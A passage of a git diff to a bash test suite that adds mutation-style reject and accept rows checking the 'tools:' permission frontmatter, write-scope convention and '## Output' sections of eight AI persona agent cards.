ANTI-VACUITY. C5 must be able to RED. Every mutant below is fed to +# the SAME c5_verdict function the live cards go through -- there is no second +# copy of the predicate to drift. A mutant that passes means the guard has +# stopped guarding. +# +# The ACCEPT rows are the opposite polarity and are not decoration: a predicate +# that rejects EVERYTHING is vacuous too, and rejecting everything is also what +# an interpreter error looks like from the outside. +c5_mutant() { # $1=name $2=frontmatter line(s) under test -> a whole card text + printf -- '---\nname: %s\nmodel: inherit\ncolor: blue\n%s\n---\n\nbody\n' "$1" "$2" +} +# Each reject row is a real regression, not an invented one: +# no-tools-key the state most agent cards in this repo are in -- all tools +# legacy-key the pre-#749 state of these eight cards +# both-keys a half-migrated card: `tools:` added, inert key not deleted +# edit-grant the ceiling breach itself +# scoped-edit the same breach wearing parentheses +# no-write-grant the over-correction that breaks the evidence channel +# block-seq-edit the ceiling breach written as a YAML block sequence. The +# anti-vacuity for the WIDENING itself is `good-block-seq` +# below, not this row: a narrow reader calls a block-form +# declaration ABSENT and rejects the card, so only an accept +# row can tell "recognised" apart from "never seen". This row +# restates the ceiling in the second spelling, and it is the +# only row that catches a reader which finds a block-form +# WRITE grant but misses a block-form `Edit` -- a token rule +# tuned to the quoted flow items does exactly that, and +# good-block-seq stays green right through it. +C5_REJECT_NAMES=( no-tools-key legacy-key both-keys edit-grant scoped-edit no-write-grant block-seq-edit ) +C5_REJECT_BODIES=( + '# this card declares no tool key at all' + 'allowed-tools: ["Read", "Write(.uberdev/research/**)"]' + 'tools: ["Read", "Write(.uberdev/research/**)"] +allowed-tools: ["Read", "Write(.uberdev/research/**)"]' + 'tools: ["Read", "Edit", "Write(.uberdev/research/**)"]' + 'tools: ["Read", "Edit(.uberdev/research/**)", "Write"]' + 'tools: ["Read", "Grep"]' + 'tools: + - Read + - Edit + - Write(.uberdev/research/**)' +) +# And each accept row states something C5 must NOT do: +# good-live-shape the shape the eight live cards carry +# good-bare-write bare `Write` is a valid grant here, never a violation +# good-single-star DECLARED BOUNDARY: C5 asserts no path-admission property, +# so a scope that would not cover the runtime path is still +# clean at THIS row. C5c is where that spelling is pinned. +# good-block-seq the block-sequence spelling of the live shape. This row +# is the one that FAILS if the extractor narrows back to a +# same-line value: a correctly-restricted card would be +# reported as declaring no tools at all and rejected. +C5_ACCEPT_NAMES=( good-live-shape good-bare-write good-single-star good-block-seq ) +C5_ACCEPT_BODIES=( + 'tools: ["Read", "Write(.uberdev/research/**)"]' + 'tools: ["Read", "Write"]' + 'tools: ["Read", "Write(.uberdev/research/*)"]' + 'tools: + - Read + - Write(.uberdev/research/**)' +) +# A names/bodies length mismatch would SKIP the surplus rows in silence, which +# is how an anti-vacuity row stops being one. Both arrays are indexed by the +# names array below, so a short bodies array trips `set -u` -- only a long one +# needs catching, and asserting equality catches both. +[ "${#C5_REJECT_NAMES[@]}" -eq "${#C5_REJECT_BODIES[@]}" ] \ + || fail "C5b: reject names/bodies arrays disagree (${#C5_REJECT_NAMES[@]} vs ${#C5_REJECT_BODIES[@]}) -- rows would be silently skipped" +[ "${#C5_ACCEPT_NAMES[@]}" -eq "${#C5_ACCEPT_BODIES[@]}" ] \ + || fail "C5b: accept names/bodies arrays disagree (${#C5_ACCEPT_NAMES[@]} vs ${#C5_ACCEPT_BODIES[@]}) -- rows would be silently skipped" +for c5_i in "${!C5_REJECT_NAMES[@]}"; do + c5_name="${C5_REJECT_NAMES[$c5_i]}" + if c5_verdict "$(c5_mutant "$c5_name" "${C5_REJECT_BODIES[$c5_i]}")" "mutant/$c5_name" 2>/dev/null; then + fail "C5b: the C5 predicate ACCEPTED mutant '$c5_name' -- the guard cannot fail, which is the exact defect #749 found" fi - python3 - "$F" "$a" <<'PY' || exit $? -import sys, re -path, agent = sys.argv[1], sys.argv[2] -with open(path) as fh: - text = fh.read() -# Extract allowed-tools line(s) from frontmatter — accept YAML list or flow array. -# We don't need a full YAML parser; the contract is "no bare Write token", so -# tokenize on commas / brackets and check each entry literally. -m = re.search(r'(?m)^allowed-tools:\s*(.+)$', text) -if not m: - sys.exit(0) # no allowed-tools line → nothing forbidden -tokens = re.findall(r'[A-Za-z_]+(?:\([^)]*\))?', m.group(1)) -for tok in tokens: - if tok == 'Write': - print(f"FAIL C5 {agent}: bare 'Write' in allowed-tools (must be scoped Write())", file=sys.stderr) - sys.exit(1) +done +for c5_i in "${!C5_ACCEPT_NAMES[@]}"; do + c5_name="${C5_ACCEPT_NAMES[$c5_i]}" + c5_verdict "$(c5_mutant "$c5_name" "${C5_ACCEPT_BODIES[$c5_i]}")" "mutant/$c5_name" \ + || fail "C5b: the C5 predicate REJECTED known-good card '$c5_name' -- a predicate that rejects everything is vacuous in the other direction" +done +pass "C5b: the C5 predicate rejects all ${#C5_REJECT_NAMES[@]} mutants and accepts all ${#C5_ACCEPT_NAMES[@]} known-good cards" + +# C5c (#749) CONVENTION, NOT A CEILING -- read the C5 header first. The text +# inside a `tools:` entry's parentheses binds NOTHING at runtime, so this row +# asserts nothing whatsoever about what a persona is able to write. What it does +# assert is that the eight cards keep SAYING the same thing about where they +# intend to write, so the roster cannot half-drift: wherever a write grant is +# spelled with a scope, that scope is the run-dir glob the pipeline actually +# uses. The single-segment `.uberdev/research/*` these cards shipped with does +# not cover the path the runtime hands a persona +# (`.uberdev/research//testers/scratch//out.yaml`, four +# segments deeper), so as DOCUMENTATION OF INTENT it was simply false; this row +# is what stops it coming back. A bare `Write` declares no scope and is exempt +# by construction, never by waiver. +C5_WRITE_SCOPE_CONVENTION='Write(.uberdev/research/**)' +# The SAME C5_TOOLS_PY extractor C5 runs is spliced in here -- see its header. +# This half used to carry its own byte-identical copy of the frontmatter and +# `tools:` regexes, so "which spellings count as a declaration" was answered +# twice and could be widened once. +C5_SPELLING_PY="$(cat <<'PY' +text, label = os.environ["C5_TEXT"], os.environ["C5_LABEL"] +canonical = os.environ["C5_CONV"] + +block = frontmatter(text) +declared = declared_tools(block) if block is not None else None +if declared is None: + print(f"FAIL C5c {label}: no 'tools:' declaration to inspect", file=sys.stderr) + sys.exit(VIOLATION) +scoped = re.findall(r'(?/dev/null; then + fail "C5c: the convention predicate ACCEPTED the pre-#749 single-segment scope -- it cannot fail" +fi +# ANTI-VACUITY FOR THE WIDENING, on this half too. The accept row is the +# discriminating one: a narrowed extractor reports a block-sequence card as +# having no declaration to inspect, which is a REJECT, so only requiring an +# accept here can tell "recognised and on-convention" apart from "not seen at +# all". The reject row then shows the scope inside a block sequence is really +# compared, not merely skipped past. +c5_spelling "$(c5_mutant conv-block-canonical "tools: + - Read + - $C5_WRITE_SCOPE_CONVENTION")" "mutant/conv-block-canonical" \ + || fail "C5c: the convention predicate REJECTED a block-sequence card carrying the canonical spelling -- the extractor no longer sees a block-form 'tools:' declaration" +if c5_spelling "$(c5_mutant conv-block-single-star 'tools: + - Read + - Write(.uberdev/research/*)')" "mutant/conv-block-single-star" 2>/dev/null; then + fail "C5c: the convention predicate ACCEPTED an off-convention scope written as a block sequence -- block-form scopes are recognised but not compared" +fi +# The "nothing to inspect" arm is otherwise UNREACHABLE from every call site: the +# live-card loop above runs only after C5 has already exited on any card lacking +# a declaration, and every other mutant here carries one. This row is what keeps +# that arm executed, so it cannot rot into dead code that silently stops +# rejecting. It is a reject row because there is genuinely nothing to compare +# against the convention -- absence is not compliance. +if c5_spelling "$(c5_mutant conv-no-tools-key '# this card declares no tool key at all')" "mutant/conv-no-tools-key" 2>/dev/null; then + fail "C5c: the convention predicate ACCEPTED a card with no 'tools:' declaration -- there is nothing to inspect, so it must not report on-convention" +fi +pass "C5c: all 8 scoped write grants carry the run-dir convention (documentation of intent, not a runtime ceiling)" # C6: each persona references at least one invariant ID from invariants.yaml INV_IDS="$(python3 -c "import yaml; [print(i['id']) for i in yaml.safe_load(open('$INVARIANTS'))['invariants']]")" @@ -205,7 +513,7 @@ grep -q -- '--rate-state-dir=' "$RLC" || fail "C10: shim lacks --rate-state-dir= grep -q -- '--rps-cap=' "$RLC" || fail "C10: shim lacks --rps-cap= argv injection" for a in "${PERSONA_AGENTS[@]}"; do F="$AGENT_DIR/$a.md" - grep -qF 'Bash(*/lib/rl-curl*)' "$F" || fail "C10 $a: allowed-tools lacks the Bash(*/lib/rl-curl*) pattern" + grep -qF 'Bash(*/lib/rl-curl*)' "$F" || fail "C10 $a: tools: lacks the Bash(*/lib/rl-curl*) pattern" grep -q -- '--rate-state-dir=' "$F" || fail "C10 $a: polite-rate block lacks the per-call --rate-state-dir= injection form" done grep -q 'lib/rl-curl' "$SKILL_FILE" || fail "C10: SKILL dispatch directive does not reference lib/rl-curl" @@ -219,31 +527,64 @@ pass "C10: rl-curl shim, persona allowlists and per-call injection are consisten # The disk YAML stays the evidence channel (C7 keeps verdict/findings/confidence); # this asserts the ADDED dual-channel stanza names the exact schema.* field set # workflow.js sends (S.persona / S.monitorPrimary / S.monitorDA). +# +# SCOPED TO THE `## Output` SECTION, never to the whole file. `StructuredOutput` +# is also a TOOL NAME, and all eight cards grant it in the `tools:` frontmatter +# array -- so a whole-file grep for it is satisfied by the GRANT and says nothing +# about the body. Measured on this tree: every card carries exactly one +# frontmatter occurrence and one body occurrence, and stripping the stanza from +# the body of all eight (frontmatter untouched) left this row printing PASS with +# the suite green. That is the "whole-file grep satisfied by text the file +# carries for another reason" class, and the extractor below is what makes the +# row able to red again. Every needle is checked against the extracted section +# for the same reason -- an assertion about what the `## Output` section says +# must read only the `## Output` section. +c11_output_section() { # $1=card path -> the `## Output...` heading line through + # the line before the next `## ` heading, or EOF. `###` subsections (the + # stanza lives under one) are NOT boundaries: `^## ` cannot match `###`. + awk ' + /^## / { if (inside) exit; if ($0 ~ /^## Output/) inside = 1 } + inside { print } + ' "$1" +} +# Herestrings, never `printf ... | grep -q`: an early-exiting reader on the right +# of a pipe poisons the pipeline rc under pipefail (tests/epipe-guard.test.sh). +c11_names() { # $1=section text $2=label $3=needle $4=which schema + grep -qF -- "$3" <<<"$1" \ + || fail "C11 $2: ## Output section does not name '$3' ($4)" +} for a in "${PERSONA_AGENTS[@]}"; do F="$AGENT_DIR/$a.md" - grep -q 'StructuredOutput' "$F" || fail "C11 $a: ## Output lacks the StructuredOutput dual-channel stanza (DR-4 prompt tension — the schema dispatch is undocumented)" + C11_OUT="$(c11_output_section "$F")" + [ -n "$C11_OUT" ] || fail "C11 $a: no '## Output' section -- the dual-channel stanza has nowhere to live" + grep -qF 'StructuredOutput' <<<"$C11_OUT" \ + || fail "C11 $a: ## Output lacks the StructuredOutput dual-channel stanza (DR-4 prompt tension — the schema dispatch is undocumented)" for field in scratchPath findingCount; do - grep -qF "$field" "$F" || fail "C11 $a: StructuredOutput stanza missing the '$field' schema field (S.persona)" + c11_names "$C11_OUT" "$a" "$field" "S.persona" done # The persona return field is `persona`; assert the stanza names it as a return field. - grep -qE '`persona`' "$F" || fail "C11 $a: StructuredOutput stanza missing the 'persona' return field (S.persona)" + c11_names "$C11_OUT" "$a" '`persona`' "the 'persona' return field, S.persona" done # monitor-primary: scratchPath + followUps (camelCase return) + verifiedAdded, # AND the explicit reconciliation with the snake_case disk key. MP="$AGENT_DIR/testers-monitor-primary.md" -grep -q 'StructuredOutput' "$MP" || fail "C11 monitor-primary: missing the StructuredOutput dual-channel stanza" +MP_OUT="$(c11_output_section "$MP")" +[ -n "$MP_OUT" ] || fail "C11 monitor-primary: no '## Output' section -- the dual-channel stanza has nowhere to live" +grep -qF 'StructuredOutput' <<<"$MP_OUT" || fail "C11 monitor-primary: missing the StructuredOutput dual-channel stanza" for field in scratchPath followUps verifiedAdded; do - grep -qF "$field" "$MP" || fail "C11 monitor-primary: StructuredOutput stanza missing the '$field' schema field (S.monitorPrimary)" + c11_names "$MP_OUT" "monitor-primary" "$field" "S.monitorPrimary" done # The camelCase return vs snake_case disk-key reconciliation must be explicit # (both names present so the two channels are documented in lockstep). -grep -q 'follow_ups_for_next_wave' "$MP" \ +grep -qF 'follow_ups_for_next_wave' <<<"$MP_OUT" \ || fail "C11 monitor-primary: stanza does not reconcile the snake_case follow_ups_for_next_wave disk key with the camelCase followUps return" # monitor-devils-advocate: scratchPath + rejected. MDA="$AGENT_DIR/testers-monitor-devils-advocate.md" -grep -q 'StructuredOutput' "$MDA" || fail "C11 monitor-devils-advocate: missing the StructuredOutput dual-channel stanza" +MDA_OUT="$(c11_output_section "$MDA")" +[ -n "$MDA_OUT" ] || fail "C11 monitor-devils-advocate: no '## Output' section -- the dual-channel stanza has nowhere to live" +grep -qF 'StructuredOutput' <<<"$MDA_OUT" || fail "C11 monitor-devils-advocate: missing the StructuredOutput dual-channel stanza" for field in scratchPath rejected; do - grep -qF "$field" "$MDA" || fail "C11 monitor-devils-advocate: StructuredOutput stanza missing the '$field' schema field (S.monitorDA)" + c11_names "$MDA_OUT" "monitor-devils-advocate" "$field" "S.monitorDA" done pass "C11: all 8 agents document the StructuredOutput dual-channel return matching the workflow schema (DR-4)" diff --git a/tests/testers-rate-limit-wrapper.test.sh b/tests/testers-rate-limit-wrapper.test.sh index 1de40b06..249d8951 100755 --- a/tests/testers-rate-limit-wrapper.test.sh +++ b/tests/testers-rate-limit-wrapper.test.sh @@ -497,7 +497,7 @@ EOF test_wrapper_under_zsh # Case 24 (#306, RFC 0012 §3.10): lib/rl-curl shim — SINGLE-word invocation with -# per-call argv injection (the form persona allowed-tools carry via +# per-call argv injection (the form persona tools: lists carry via # Bash(*/lib/rl-curl*)). Ambient env deliberately UNSET: argv must be sufficient, # because Phase-0 fence exports never reach persona agents. test_rl_curl_shim_argv_injection() {